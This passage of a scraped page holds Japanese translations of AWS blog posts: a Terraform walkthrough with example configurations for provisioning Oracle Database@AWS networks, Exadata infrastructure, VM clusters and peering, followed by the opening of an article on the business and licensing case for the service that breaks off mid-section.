のシニアネットワークスペシャリストソリューションアーキテクトです。AWS サービスを活用した革新的でレジリエントかつコスト効率の高いソリューション設計を支援しています。ネットワーキングとセキュリティ分野でのソリューション構築に注力し、Northeastern 大学でコンピュータネットワーキング専攻のテレコミュニケーションシステム管理修士号を取得しています。 Vihar Kodakandla Vihar は、AWS のドメインスペシャリストエンジニアです。UOps のお客様に対し、オンボーディング、コンテキスト構築、Critical Workload Review を通じたプロアクティブなメカニズムの提供に注力しています。複雑な技術的課題のトラブルシューティングや、AWS ネットワーキングサービス全体のレジリエンスとオブザーバビリティ向上の機会特定を支援しています。 この記事は Solutions Architect の 矢木 覚 が翻訳しました。

本記事は 2026 年 6 月 11 日 に公開された「 Provision Oracle Database@AWS resources using Terraform 」を翻訳したものです。 本記事では、 Terraform を使用して Oracle Database@AWS の主要コンポーネント（ ODB ネットワーク 、 Oracle Exadata インフラストラクチャ 、 Exadata VM クラスター 、 Autonomous VM クラスター ）をプロビジョニングする方法を紹介します。 Oracle Database@AWS （ODB@AWS）は、 Oracle Cloud Infrastructure（OCI） が管理する Oracle Exadata インフラストラクチャを AWS データセンター内から提供するサービスです。Oracle Database@AWS を使用すると、Oracle データベースを AWS に移行しながら、Exadata の高パフォーマンス、スケーラビリティ、高度な機能を活用できます。Oracle Database@AWS は、 Amazon Simple Storage Service（Amazon S3） 、 zero-ETL パイプライン、 AWS Key Management Service（AWS KMS） などの AWS サービスと密に統合されています。Oracle データベースは、Amazon Elastic Compute Cloud（Amazon EC2）、Amazon Elastic Container Service（Amazon ECS）、Amazon Elastic Kubernetes Service（Amazon EKS）などにデプロイされたアプリケーションと並行して動作します。この密な統合により、データフローが簡素化され、セキュリティが強化され、多様なコンピューティング環境でのアプリケーション開発が加速します。 現在、Oracle Database@AWS では以下の Oracle Database サービスが提供されています： Oracle Autonomous AI Database on Dedicated Exadata Infrastructure （ADB-D） Oracle Exadata Database Service on Dedicated Infrastructure （ExaDB-D） Infrastructure as Code（IaC）は、構成ファイルを通じてアプリケーションのインフラストラクチャをプロビジョニング・管理するプロセスです。IaC を使用すると、インフラストラクチャ管理を一元化し、リソースを標準化し、迅速にスケールできます。新しい環境を再現可能で、信頼性が高く、一貫性のある状態で構築できます。Oracle Database@AWS のリソースは、 Terraform や AWS CloudFormation などの IaC ツールでデプロイできます。 HashiCorp Terraform は、クラウドとオンプレミスのリソースを、バージョン管理・再利用・共有が可能な人間が読める構成ファイルで定義できる IaC ツールです。一貫したワークフローで、ライフサイクル全体を通じてインフラストラクチャをプロビジョニング・管理できます。 本ウォークスルーは、Oracle Database@AWS のプロビジョニングを自動化したいデータベース管理者や DevOps エンジニアを対象としています。 ソリューション概要 Oracle Database@AWS を使い始めるには、 AWS Marketplace のリスティングを確認します。サービスを利用するには、 オンボーディング と呼ばれるプロセスで AWS アカウント内の構成を行います。オンボーディングを開始するには、Oracle の担当者に連絡してプライベートオファーをリクエストします。価格、利用条件に合意した後、AWS Marketplace で購入を完了します。購入完了後、AWS アカウントと OCI テナンシーをリンクします（マルチクラウドリンク）。要件に応じて、 エンタイトルメント共有機能 を使用して、同じ AWS Organization 内の AWS アカウント間で ODB@AWS の AWS Marketplace エンタイトルメントを共有できます。オンボーディング完了後、Exadata Database Service on Dedicated Infrastructure および Autonomous AI Database on Dedicated Exadata Infrastructure 用の Oracle Database@AWS システムリソースのプロビジョニングを開始できます。プロビジョニングは ODB ネットワークと Exadata インフラストラクチャの作成から始まります。ワークロードと要件に基づいて、Exadata VM クラスターまたは Autonomous VM クラスターを作成します。Exadata VM クラスターは Oracle Exadata Database Service をサポートし、Autonomous VM クラスターは Autonomous AI Database on Dedicated Exadata Infrastructure をサポートします。 Oracle Database@AWS の利用を開始するには、Oracle Database@AWS コンソール、AWS Command Line Interface（AWS CLI）、または API を使用して以下のリソースを作成します： ODB ネットワーク Oracle Exadata インフラストラクチャ Exadata VM クラスターまたは Autonomous VM クラスター ODB ピアリング接続 次の図は Oracle Database@AWS のアーキテクチャを示しています。 以下のセクションでは、Oracle Database@AWS のアーキテクチャと主要コンポーネントについて説明します。 Amazon Virtual Private Cloud とサブネット ： Amazon Virtual Private Cloud（Amazon VPC）では、定義した仮想ネットワークに AWS リソースを起動できます。この仮想ネットワークは、自社データセンターで運用する従来のネットワークと同様ですが、AWS のスケーラブルなインフラストラクチャを活用できます。VPC を作成した後、サブネットを追加できます。サブネットは Amazon VPC 内の IP アドレス範囲です。特定のサブネットに Amazon EC2 インスタンスなどの AWS リソースを作成できます。 OCI Virtual Cloud Network（VCN）とサブネット ： Virtual Cloud Network（VCN）は、指定した Oracle リージョン内の OCI テナンシーに設定するカスタマイズ可能なプライベートネットワークです。コンピュートインスタンス、データベース、ストレージなどの OCI リソースをデプロイ・管理するための、安全でスケーラブルなネットワーク環境を提供します。VCN により、論理的に分離されたネットワーク内でクラウドリソースを隔離・セグメント化し、セキュリティと管理性を向上できます。Oracle マルチクラウドアーキテクチャでは、AWS リージョン内にクライアントサブネットとバックアップサブネットを持つ ODB ネットワークを作成すると、対応する OCI VCN とサブネットが OCI テナンシーに自動的に作成されます。VCN はペアリングされた OCI リージョンに作成されます。詳細については、「 Overview of VCNs and Subnets 」を参照してください。 OCI リージョン（親サイト）： OCI リージョンは、アベイラビリティドメインと呼ばれる 1 つ以上のデータセンターがある地理的エリアです。Oracle マルチクラウドモデルでは、ペアリングされた AWS リージョンに接続された OCI リージョンを親サイトと呼びます。ODB@AWS は「 Regional Availability 」で説明されているリージョンでのみ利用可能です。 OCI 子サイト ： OCI 子サイトは、OCI アベイラビリティドメイン（AD）を AWS リージョン内のアベイラビリティゾーン（AZ）に拡張するデータセンターです。OCI 子サイトモデルでは、Oracle Database@AWS で使用される Exadata インフラストラクチャは物理的には AWS データセンター（AWS リージョン内の AZ）に配置されますが、論理的には OCI リージョンとそのネットワークコンポーネントにマッピングされます。 ODB ネットワーク ： ODB ネットワークは、指定した AWS アベイラビリティゾーン（AZ）内で Oracle Exadata VM クラスターと Autonomous VM クラスターをホストするプライベートで分離されたネットワークです。ODB ネットワークは IP アドレスの CIDR 範囲で構成されます。ODB ネットワークは OCI 子サイト内のネットワークに直接マッピングされ、AWS と OCI 間の通信を実現します。Oracle マルチクラウドアーキテクチャでは、ODB ネットワークが Oracle Database@AWS サービスの OCI コンポーネントにネットワーク接続を提供します。 ODB ネットワークの作成時に、以下の情報を指定します： アベイラビリティゾーン — ODB ネットワークは特定の AZ に紐づきます。サポートされるリージョンとアベイラビリティゾーンの最新リストは「 Regional Availability 」を参照してください。アカウント内の論理 AZ 名と物理 AZ ID のマッピングを確認するには、次のコマンドを実行します。 aws ec2 describe-availability-zones \ --region us-east-1 \ --query "AvailabilityZones[*].{ZoneName:ZoneName, ZoneId:ZoneId}" \ --output table クライアント CIDR アドレス — ODB ネットワークには、Exadata VM クラスターと Autonomous VM クラスター用の クライアントサブネット CIDR が必要です。 バックアップ CIDR アドレス — ODB ネットワークには、VM クラスターのマネージドデータベースバックアップ用の バックアップサブネット CIDR が必要です。バックアップサブネットは Exadata VM クラスターではオプションです。 AWS サービス統合 — Amazon S3 や Amazon Redshift との zero-ETL など、AWS サービス統合用のネットワークパスを構成できます。詳細については「 AWS service integrations 」を参照してください。CIDR 要件の詳細については「 ODB Network creation 」を参照してください。 Oracle Exadata インフラストラクチャ ： Oracle Exadata インフラストラクチャは、Oracle データベースを実行するために設計された高パフォーマンスの統合ハードウェア・ソフトウェアプラットフォームです。Oracle マルチクラウドアーキテクチャでは、Exadata インフラストラクチャは Oracle Exadata Database Service と Oracle Autonomous AI Database の両方の基盤ハードウェアです。 Oracle Database@AWS で Exadata インフラストラクチャを作成する際に、以下の情報を指定します： データベースサーバーの総数 ストレージサーバーの総数 Exadata システムモデル（X11M） インフラストラクチャをホストする AZ（「 Supported Regions for Oracle Database@AWS 」を参照） 詳細については「 Exadata Infrastructure 」を参照してください。 Exadata VM クラスター ：Exadata VM クラスターは、密結合された Exadata VM のセットです。各 VM には、Oracle Real Application Clusters（Oracle RAC）や Oracle Grid Infrastructure などの Oracle Enterprise Edition の機能を含む、完全な Oracle データベースインストールがあります。VM クラスター上に 1 つ以上の Oracle Exadata データベースを作成できます。 VM と VM クラスターのアーキテクチャ図については「 Exadata Database Service on Dedicated Infrastructure Technical Architecture 」を参照してください。 VM クラスターの作成時に、以下の情報を指定します： ODB ネットワーク Oracle Exadata インフラストラクチャ クラスター内の VM を配置するデータベースサーバー 使用可能な Exadata ストレージの合計容量 詳細については「 Exadata VM Cluster 」を参照してください。 Autonomous VM クラスター ：Autonomous VM クラスター（AVMC）を使用すると、物理的な Exadata クラスター（マシン）を複数の仮想クラスターにパーティション分割できます。アクセスルール、ネットワーク構成、コンピューティング・メモリ・ストレージリソースのカスタマイズにより、データベースワークロードごとに環境を分離できます。Autonomous VM クラスターの作成時に、VM あたりの ECPU コア数、CPU あたりのデータベースメモリ、データベースストレージ、Autonomous コンテナデータベースの最大数を構成できます。詳細については「 Create Autonomous VM Cluster 」を参照してください。 ODB ピアリング ： ODB ピアリングは、Amazon VPC と ODB ネットワーク間でトラフィックをプライベートにルーティングするネットワーク接続です。Oracle マルチクラウドアーキテクチャでは、VPC 内のアプリケーションと ODB ネットワーク内の Oracle データベース間のトラフィックは、パブリックインターネットを経由せず ODB ピアリングを通じてプライベートにルーティングされます。詳細については「 creating ODB peering connection 」を参照してください。 Oracle Exadata データベース ：Oracle Database@AWS では、AWS コンソールを使用して Exadata データベースをホストする Oracle Exadata インフラストラクチャと VM クラスターを作成します。その後、OCI API を使用して Oracle データベースを作成・管理します。データベースの作成方法の詳細については「 Exadata Database 」および「 Autonomous Database 」を参照してください。 Oracle Database@AWS のコンポーネントの詳細については「 Architecture 」を参照してください。 上記リソースの作成手順の詳細については「 creating resources in your Oracle Database@AWS 」を参照してください。 前提条件 開始する前に、以下の前提条件を確認してください： Terraform の基本的な理解 Oracle Database@AWS の概要の理解 「 Onboarding to Oracle Database@AWS 」の手順の完了。Oracle Database@AWS を使用するにはプライベートオファーを受け入れている必要があります。 AWS Identity and Access Management（IAM）プリンシパルに「 Allow users to provision Oracle Database@AWS resources 」に記載されたポリシー権限を付与。Oracle Database@AWS を使用するにはこれらの権限が必要です。 以下の Terraform テンプレートを使用して、Oracle Database@AWS のさまざまなリソースをプロビジョニングできます。ビジネス要件に応じてパラメータをカスタマイズしてください。テンプレートを適用する前に、各パラメータの意味と許容値を理解してください。 Oracle Database@AWS リソースのプロビジョニング用に以下のテンプレートが利用可能です。最新情報については「 Provisioning Oracle Database@AWS through Terraform 」を参照してください。 ステップ 1：ODB ネットワークの作成 以下の Terraform 構成を使用して、 Oracle Database@AWS で ODB ネットワークを作成 します。 # Create an ODB Network without AWS service integrations resource "aws_odb_network" "example" { display_name = "odb-my-net" availability_zone_id = "use1-az6" client_subnet_cidr = "10.2.0.0/24" backup_subnet_cidr = "10.2.1.0/24" s3_access = "DISABLED" zero_etl_access = "DISABLED" tags = { "env" = "dev" } } # Create an ODB Network with AWS service integrations resource "aws_odb_network" "example" { display_name = "odb-my-net" availability_zone_id = "use1-az6" client_subnet_cidr = "10.2.0.0/24" backup_subnet_cidr = "10.2.1.0/24" s3_access = "ENABLED" zero_etl_access = "ENABLED" tags = { "env" = "dev" } } IP アドレス要件の詳細については「 Planning IP address space in Oracle Database@AWS 」を参照してください。 ステップ 2：Oracle Exadata インフラストラクチャの作成 以下の Terraform 構成を使用して、 Oracle Database@AWS で Oracle Exadata インフラストラクチャを作成 します。 # Create an Exadata Infrastructure resource "aws_odb_cloud_exadata_infrastructure" "example" { display_name = "my-exa-infra" shape = "Exadata.X11M" storage_count = 3 compute_count = 2 availability_zone_id = "use1-az6" customer_contacts_to_send_to_oci = [{ email = "abc@example.com" }, { email = "def@example.com" }] database_server_type = "X11M" storage_server_type = "X11M-HC" maintenance_window { custom_action_timeout_in_mins = 16 days_of_week = [{ name = "MONDAY" }, { name = "TUESDAY" }] hours_of_day = [11, 16] is_custom_action_timeout_enabled = true lead_time_in_weeks = 3 months = [{ name = "FEBRUARY" }, { name = "MAY" }, { name = "AUGUST" }, { name = "NOVEMBER" }] patching_mode = "ROLLING" preference = "CUSTOM_PREFERENCE" weeks_of_month = [2, 4] } tags = { "env" = "dev" } } ステップ 3：Exadata VM クラスターまたは Autonomous VM クラスターの作成 以下の Terraform 構成を使用して、Oracle Database@AWS で Exadata VM クラスター または Autonomous VM クラスター を作成します。 # Create Exadata VM cluster with minimum parameters resource "aws_odb_cloud_vm_cluster" "with_minimum_parameter" { display_name = "my_vm_cluster" cloud_exadata_infrastructure_id = "<aws_odb_cloud_exadata_infrastructure_id>" cpu_core_count = 6 gi_version = "23.0.0.0" hostname_prefix = "apollo12" ssh_public_keys = ["public-ssh-key"] odb_network_id = "<aws_odb_network_id>" is_local_backup_enabled = true is_sparse_diskgroup_enabled = true license_model = "LICENSE_INCLUDED" data_storage_size_in_tbs = 20.0 db_servers = ["db-server-1", "db-server-2"] db_node_storage_size_in_gbs = 120.0 memory_size_in_gbs = 60 data_collection_options { is_diagnostics_events_enabled = false is_health_monitoring_enabled = false is_incident_logs_enabled = false } } # Create Exadata VM cluster with all parameters resource "aws_odb_cloud_vm_cluster" "with_all_parameters" { display_name = "my_vm_cluster" cloud_exadata_infrastructure_id = "<aws_odb_cloud_exadata_infrastructure_id>" cpu_core_count = 6 gi_version = "23.0.0.0" hostname_prefix = "apollo12" ssh_public_keys = ["my-ssh-key"] odb_network_id = "<aws_odb_network_id>" is_local_backup_enabled = true is_sparse_diskgroup_enabled = true license_model = "LICENSE_INCLUDED" data_storage_size_in_tbs = 20.0 db_servers = ["my-dbserver-1", "my-db-server-2"] db_node_storage_size_in_gbs = 120.0 memory_size_in_gbs = 60 cluster_name = "julia-13" timezone = "UTC" scan_listener_port_tcp = 1521 tags = { "env" = "dev" } data_collection_options { is_diagnostics_events_enabled = true is_health_monitoring_enabled = true is_incident_logs_enabled = true } } # Create Autonomous VM cluster with minimum parameters resource "aws_odb_cloud_autonomous_vm_cluster" "avmc_with_minimum_parameters" { cloud_exadata_infrastructure_id = "<aws_odb_cloud_exadata_infrastructure_id>" odb_network_id = "<aws_odb_network_id>" display_name = "my_autonomous_vm_cluster" autonomous_data_storage_size_in_tbs = 5 memory_per_oracle_compute_unit_in_gbs = 2 total_container_databases = 1 cpu_core_count_per_node = 40 license_model = "LICENSE_INCLUDED" # ids of db server. refer your exa infra. This is a mandatory field. Refer your cloud Exadata infrastructure for db server id db_servers = ["<my_db_server_id>"] scan_listener_port_tls = 8561 scan_listener_port_non_tls = 1024 maintenance_window { preference = "NO_PREFERENCE" } } # Create Autonomous VM cluster with all parameters resource "aws_odb_cloud_autonomous_vm_cluster" "avmc_with_all_params" { description = "my first avmc" time_zone = "UTC" cloud_exadata_infrastructure_id = "<aws_odb_cloud_exadata_infrastructure_id>" odb_network_id = "<aws_odb_network_id>" display_name = "my_autonomous_vm_cluster" autonomous_data_storage_size_in_tbs = 5 memory_per_oracle_compute_unit_in_gbs = 2 total_container_databases = 1 cpu_core_count_per_node = 40 license_model = "LICENSE_INCLUDED" db_servers = ["<my_db_server_1>", "<my_db_server_2>"] scan_listener_port_tls = 8561 scan_listener_port_non_tls = 1024 maintenance_window { days_of_week = [{ name = "MONDAY" }, { name = "TUESDAY" }] hours_of_day = [4, 16] lead_time_in_weeks = 3 months = [{ name = "FEBRUARY" }, { name = "MAY" }, { name = "AUGUST" }, { name = "NOVEMBER" }] preference = "CUSTOM_PREFERENCE" weeks_of_month = [2, 4] } tags = { "env" = "dev" } } ステップ 4：ODB ピアリング接続の作成 以下の Terraform 構成を使用して、 ODB ピアリング接続を作成 します。 resource "aws_odb_network_peering_connection" "example" { display_name = "example" odb_network_id = "my-odb-network-id" peer_network_id = "my-vpc-id" tags = { "env" = "dev" } } Terraform を使用した ODB@AWS スタックの作成 Terraform でリソースをプロビジョニングするには、以下の手順を完了します。この Terraform テンプレートは以下のリソースを作成します： VPC インターネットゲートウェイ パブリックサブネット 2 つ プライベートサブネット 2 つ パブリックルートテーブル プライベートルートテーブル パブリックルート 4 つのサブネットすべてのルートテーブル関連付け ODB ネットワーク ODB ピアリング接続 Exadata インフラストラクチャ Exadata VM クラスター Autonomous VM クラスター デプロイ前にテンプレートをよく確認してください。不要なリソースがある場合は、テンプレートを適宜修正してください。 GitHub リポジトリ をローカルマシンにクローンするか、AWS Samples からスクリプトをダウンロードします。 git clone https://github.com/aws-samples/sample-odb-launch-using-terraform GitHub README に従って前提条件を確認し、Terraform スタックをデプロイします。 terraform apply を実行する前に terraform plan を実行して、提案されたすべての変更を確認します。適用前にプラン出力で destroy や replace アクションがないか慎重に確認してください。 スタックデプロイの完了を確認します。 重要： Terraform リソースの特定のプロパティ（CpuCoreCount や DbServers など）を変更すると、Terraform はインプレース更新ではなくリソース全体を置き換えます。既存リソースを変更する前に、 Terraform ドキュメント で置き換えをトリガーするプロパティの完全なリストを確認してください。 リソースの作成後、VPC と ODB ネットワーク間の接続を構成します。以下の手順を完了してください： OdbPeeringConnection 用の VPC ルートテーブルの構成 Oracle Database@AWS 用の DNS 構成 アウトバウンドエンドポイント： ODB ネットワークに DNS クエリを送信するために必要です。 リゾルバールール： Amazon Route 53 Resolver が ODB ネットワークの DNS に転送する DNS クエリのドメイン名を指定するルールです。 詳細については「 network configuration 」を参照してください。 クリーンアップ 継続的な課金を避けるため、作成したリソース（ODB ネットワーク、Exadata インフラストラクチャ、VM クラスター）を削除してください。 Terraform スタックの一部として起動されたその他のリソースを削除するには、 GitHub README に記載された手順に従い terraform destroy を実行してください。 ODB ネットワークの削除時は、 delete_associated_resources を true に設定してください。このパラメータのデフォルトは false です。 true に設定しない場合、以前の ODB ネットワークにマッピングされた OCI VCN はそのまま残ります。 まとめ 本記事では、Terraform を使用して ODB ネットワーク、Exadata インフラストラクチャ、Exadata VM クラスター、Autonomous VM クラスターなどの Oracle Database@AWS リソースをプロビジョニングする方法を説明しました。Terraform による Infrastructure as Code を採用することで、デプロイを自動化し、環境全体で一貫性を維持し、Oracle Database@AWS スタックの管理を効率化できます。 詳細については「 Getting started with Oracle Database@AWS 」を参照してください。 著者について Javeed Javeed は、Amazon Web Services のシニアデータベーススペシャリストソリューションアーキテクトです。Amazon RDS チームで Oracle や Db2 などの商用データベースエンジンを担当しています。AWS Cloud でのリレーショナルデータベースワークロードの設計、デプロイ、最適化の支援に情熱を注いでいます。 Sharath Chandra Kampili Amazon Web Services のデータベーススペシャリストソリューションアーキテクトです。AWS RDS チームで Oracle などの商用データベースエンジンを担当しています。AWS のお客様と直接協力し、データベースプロジェクトに関するガイダンスと技術支援を提供しています。 この記事は Solutions Architect の 矢木 覚 が翻訳しました。

本記事は 2026 年 6 月 8 日 に公開された「 Oracle Database@AWS decoded: Determining the right fit for your Oracle workloads 」を翻訳したものです。 AWS は 15 年以上にわたり、Oracle ワークロードを実行するための豊富な選択肢を提供してきました。マネージドでシンプルな Amazon RDS for Oracle から、Amazon EBS io2 Block Express、gp3、 Amazon FSx for NetApp ONTAP といった複数のストレージオプションを持つ完全に柔軟な Amazon Elastic Compute Cloud (Amazon EC2) までさまざまです。これらのサービスは、Oracle Database ベースのアプリケーション (Oracle E-Business Suite、PeopleSoft、Siebel、JD Edwards)、Oracle Database 上に構築されたカスタムアプリケーション、ミドルウェアプラットフォーム (Oracle WebLogic、Oracle Fusion Middleware)、Oracle Database をデータ層とする ISV アプリケーションなど、幅広い Oracle デプロイメントで多くの組織に活用され続けています。 2025 年 7 月に一般提供が開始された Oracle Database@AWS (ODB@AWS) は、このポートフォリオに新しい選択肢を追加し、AWS アベイラビリティゾーン内に物理的にホストされる Exadata Database Service (ExaDB) と Autonomous Database (ADB) を提供します。 本記事では、AWS 上で Oracle ワークロードを運用する組織にとって Oracle Database@AWS が有力な選択肢となる主な理由を解説します。ビジネス、技術、ライセンスの各面での利点と、Amazon RDS for Oracle や Amazon EC2 といった既存の AWS の選択肢をどのように補完するかを説明します。 ODB@AWS がワークロードに適しているかを判断する 5 つの質問 詳細に入る前に、次の 5 つの質問を確認してください。いずれかに「はい」と答えられるなら、ODB@AWS を検討する価値があります。 パフォーマンスと将来への備え – 現在のワークロードは Oracle Exadata プラットフォームの機能を使用していますか、または活用できる可能性がありますか？ 事業継続性とリスク – Oracle Real Application Clusters (Oracle RAC) は、複数のサーバーが単一のデータベースにアクセスしながら Oracle Database ソフトウェアを実行できるようにし、フォールトトレランスと水平スケーラビリティを提供します。重要な業務を維持するために、フォールトトレランスとローリングパッチによるゼロダウンタイムを実現する Oracle RAC がアプリケーションに必要ですか？ キャパシティとコスト効率 – 季節的な需要に合わせて、コストの不均衡な増大なしにデータベースのキャパシティをスケールする必要がありますか？ Oracle データベースライセンスの柔軟性 – 従来の先行ライセンス費用ではなく、ワークロード需要に応じてスケールする Enterprise Edition データベースの従量課金制ライセンスモデルをお探しですか？ 注: ODB@AWS は、License Included (LI)、Bring Your Own License (BYOL)、またはワークロードごとの併用を提供しています。BYOL のお客様は、ライセンスあたり 2 倍のコアエンタイトルメントを利用できます。ODB@AWS は OCPU ベースのライセンス (コア係数 0.5) を採用しているため、Processor ライセンス 1 つで 2 OCPU (4 vCPU) をカバーでき、標準的な vCPU ベースのクラウドデプロイメントと比べてライセンス要件が半分になります。License Included では、Oracle RAC、Advanced Data Guard、Multitenant、Diagnostics & Tuning Pack を含むすべての Enterprise Edition フィーチャーパックが、追加費用なしで時間あたりの OCPU 料金にバンドルされています。 AWS 上の Oracle データベースでホストされる Oracle アプリケーションに対する明示的な認定 – 事業部門として、商用オフザシェルフ (COTS) アプリケーションとそれをホストする基盤インフラストラクチャを含めた Oracle の明示的な認定が必要ですか？Oracle Database@AWS は、Oracle E-Business Suite (Oracle EBS)、PeopleSoft、Siebel、JD Edwards EnterpriseOne、Oracle Enterprise Performance Management、Oracle Retail Applications、そして WebLogic や Fusion Middleware などの Oracle ミドルウェアプラットフォームを含む主要な Oracle エンタープライズアプリケーション向けの認定リファレンスアーキテクチャを提供しています。たとえば Oracle EBS 12.2 は、アプリケーション層を Amazon EC2 で、データベース層を ODB@AWS の Exadata で実行する構成で Oracle Database 26ai on Exadata の認定を受けています。この 認定 はこれらのデプロイパターンに対する Oracle の完全なサポートを確認するもので、COTS アプリケーションとその基盤インフラストラクチャが Oracle のサポート要件を満たしていると確信できます。詳細は Oracle AI Database@AWS FAQ を参照してください。 これらの質問は、Oracle 戦略の中で ODB@AWS がどこに位置づけられるかを評価する実践的な出発点になります。それでは、理由を詳しく見ていきましょう。 ビジネス面の利点 AWS 上で Oracle ワークロードを運用する組織にとって Oracle Database@AWS が魅力的な選択肢となる、5 つのビジネス上の利点を紹介します。 #1 – 200 以上の AWS サービスと並行して Oracle ワークロードを実行 AWS はエンタープライズ Oracle ワークロードに対して包括的な幅と深さを提供します 。コンピューティング、ストレージ、ネットワーキング、分析、AI/ML、セキュリティにわたる 200 以上のネイティブ統合されたサービスがあります。Oracle Database@AWS は技術的にはサードパーティのマネージドサービスですが、AWS Management Console、AWS Command Line Interface (AWS CLI)、AWS CloudFormation、そして Amazon Redshift (zero-ETL)、Amazon Bedrock、Amazon SageMaker AI などのサービスとのネイティブ統合が非常に深く、ファーストパーティの AWS サービスとほぼ変わらない操作性を実現しています。拡大を続けるグローバルインフラストラクチャと実績あるコンプライアンスフレームワークにより、AWS はミッションクリティカルな Oracle アプリケーションが求める信頼性とデータレジデンシーの選択肢を提供します。zero-ETL 分析から生成 AI まで続く AWS の継続的なイノベーションにより、Oracle への投資は競争力を保ち、将来にも対応できます。 #2 – AI Vector Search を備えた Oracle Database 26ai ODB@AWS は、データベースエンジンに AI Vector Search をネイティブに搭載した Oracle Database 26ai をサポートしています。AI アプリケーションを構築する組織は、別のベクトルデータベースを用意することなく、リレーショナルデータと並べてベクトル埋め込みを保存・検索できます。Exadata AI Smart Scan はベクトル処理をストレージサーバーにオフロードすることでベクトル操作を高速化し、AI ワークロードに高いパフォーマンスを提供します。詳細は Accelerate generative AI use cases with Amazon Bedrock and Oracle Database@AWS を参照してください。 Retrieval Augmented Generation (RAG) – ドキュメントの埋め込みをトランザクションデータと同じデータベースに保存し、AI の回答をエンタープライズデータに基づかせます。 セマンティック検索 – キーワードマッチングを超えて、意味と文脈に基づいてレコードを検索します。 レコメンデーションエンジン – ベクトル距離計算を使った類似度ベースのレコメンデーションを構築します。 異常検知 – ベクトル表現を使ってトランザクションデータの異常なパターンを特定します。 大規模言語モデル (LLM) を選択できる柔軟な AI アーキテクチャ Oracle Database 26ai のネイティブベクトル機能は AWS の包括的な AI/ML サービスと統合でき、ユースケースに合った大規模言語モデル (LLM) を柔軟に選択できます。Oracle AI Vector Search を Amazon Bedrock、Amazon SageMaker AI、Amazon Quick でホストされる LLM に接続し、セマンティック検索や Retrieval Augmented Generation (RAG) などのユースケースを実現できます。 Amazon Bedrock – 多様な基盤モデルにアクセスして生成 AI アプリケーションを構築できます。 Amazon SageMaker AI – オープンソース LLM を含む独自のカスタムモデルを、トレーニングデータとモデルの動作を完全にコントロールしながらデプロイ・ファインチューニングできます。 Amazon Quick – Oracle データベースを含むエンタープライズデータソースに接続し、チームが自然言語で組織のデータを照会・活用できるようにします。 エンタープライズ AI の基盤 このアーキテクチャは、次のようなエンタープライズ AI の基盤を作ります。 Oracle データは Exadata に留まる – ミッションクリティカルなトランザクションデータは、AI Smart Scan がベクトルデータをメモリ速度で処理する実績ある高性能インフラストラクチャに残ります。 AI アプリケーションは AWS で実行 – AWS の伸縮自在なコンピューティング、マネージド AI サービス、グローバルインフラストラクチャを活用できます。 ベクトル埋め込みはトランザクションデータと共存 – データ移動が不要になり、運用ワークロードと AI ワークロード間の一貫性を維持できます。 AI スタックを自分でコントロール – ベンダーロックインなしに、要件に合った LLM、フレームワーク、ツールを選択できます。 ERP データに基づくカスタマーサービスチャットボット、取引パターンを分析する不正検知システム、インテリジェントなドキュメント処理パイプラインのいずれを構築する場合でも、ODB@AWS 上の Oracle Database 26ai がデータ基盤となります。AWS は、ビジネス目標に最も合った AI テクノロジーを選択してデプロイする柔軟性を提供します。 #3 – ライセンスオプションによる財務の柔軟性 ODB@AWS は AWS Marketplace で単一の請求書により購入でき、財務計画とベンダー管理の両方が効率化されます。 AWS のコミット済み支出にカウント – ODB@AWS の購入は既存の AWS 商用契約に適用でき、Oracle データベースへの支出が AWS のコミットメントに寄与する可能性があります。 Bring Your Own License (BYOL) – ODB@AWS で Exadata Database Service または Autonomous Database をデプロイする際、既存の Oracle Database ライセンス (Enterprise Edition または Standard Edition 2) を利用できます。この柔軟性により、新規プロジェクトや新環境には License Included (LI) を、既存ワークロードには BYOL を使い分けられ、ライセンス制約によるプロジェクトの順次実施の制限を回避できます。 License Included – Oracle ライセンスをサービス料金に含めることで、Oracle サポート契約を別途維持する必要がなくなります。Oracle サポートコストの簡素化を戦略に含めているなら、このオプションが明快な道筋になります。 Oracle Support Rewards – Oracle Database@AWS は Oracle の Support Rewards プログラムの対象で、サービスへの支出 1 ドルごとに 0.25 ドル (Unlimited License Agreement のお客様は 1 ドルあたり 0.33 ドル) のクレジットが貯まります。このクレジットは、Oracle Database、Oracle Applications、WebLogic などの製品を対象とする年間の Oracle テクノロジーサポート費用の相殺に利用できます。さらに、ODB@AWS は OCI と同等の Support Rewards が貯まるため、OCI で運用した場合と同じ特典スケジュールの恩恵を受けられます。 従量課金スケーリング – 従来の先行ライセンス調達に代わり、ワークロード需要に応じてスケールする Enterprise Edition データベースキャパシティを利用できます。 単一請求書 – 別途 Oracle インフラストラクチャの請求を照合する必要がありません。 Autonomous Database のライセンスの柔軟性: ODB@AWS 上の Oracle Autonomous Database は、包括的な機能 (RAC、Exadata 機能、自動化) を単一のオファリングに含みます。既存の Standard Edition 2 (SE2) ライセンスを持つお客様は、Autonomous Database のデプロイ時に BYOL プログラムでそのライセンスを利用するか、License Included モデルを採用してサブスクリプションベースのライセンスにすることで、個別のライセンス管理と Oracle サポート契約の管理を不要にできます。 料金は OCI の Oracle Exadata Database Service と揃っています。既存の Oracle ライセンス投資がある組織は、BYOL によりそのエンタイトルメントを ODB@AWS で活用できます。運用のシンプルさを求める組織には、既存のエンタイトルメントを必要としない License Included モデルが効率的な調達手段となります。 #4 – クラウド移行の障壁と塩漬け資産の解消 ODB@AWS は、Oracle のお客様が今日直面している最も差し迫ったインフラストラクチャ課題の 1 つ、すなわち最近の仮想化ライセンス変更と仮想化コストの高騰によって深刻化した塩漬け資産 (stranded assets) の問題にも直接対処します。多くの組織はオンプレミスの仮想化環境内またはその周辺に大規模な Oracle ワークロードを抱えており、劇的なコスト増によって運用継続が財務的に持続不可能になりつつあります。 Oracle Exadata ワークロードにクラウドホスト型のネイティブな移行パスを提供することで、ODB@AWS はこうした組織が制約のあるインフラストラクチャから脱却し、再設計なしにワークロードを AWS に移行しながら、既存の Oracle 投資の価値を引き出せるようにします。これにより、これまで塩漬けになっていた Oracle 資産に対して明確でコスト効率の良い移行パスが生まれ、負債がクラウド活用可能な資産に変わります。 #5 – グローバルで 20 以上の AWS リージョンへ拡大中 ODB@AWS はグローバルに拡大を続けており、すでに 12 を超える AWS リージョンで利用できます。このグローバルなフットプリントにより、ユーザーとアプリケーションの近くで ODB@AWS を実行し、データレジデンシー要件を満たしながらレイテンシーを最小化できます。複数リージョンで Oracle E-Business Suite などの Oracle アプリケーションを運用する多国籍企業にとって、この拡大は世界中で一貫したアーキテクチャを可能にします。 リージョンの提供状況は Oracle Region Availability Link で確認できます。 技術面の利点 Oracle Database@AWS が AWS 環境内で高性能なデータベース運用を実現する 8 つの技術的な機能を紹介します。 #6 – Exadata と Oracle RAC の機能を AWS 内でネイティブに利用 一部の 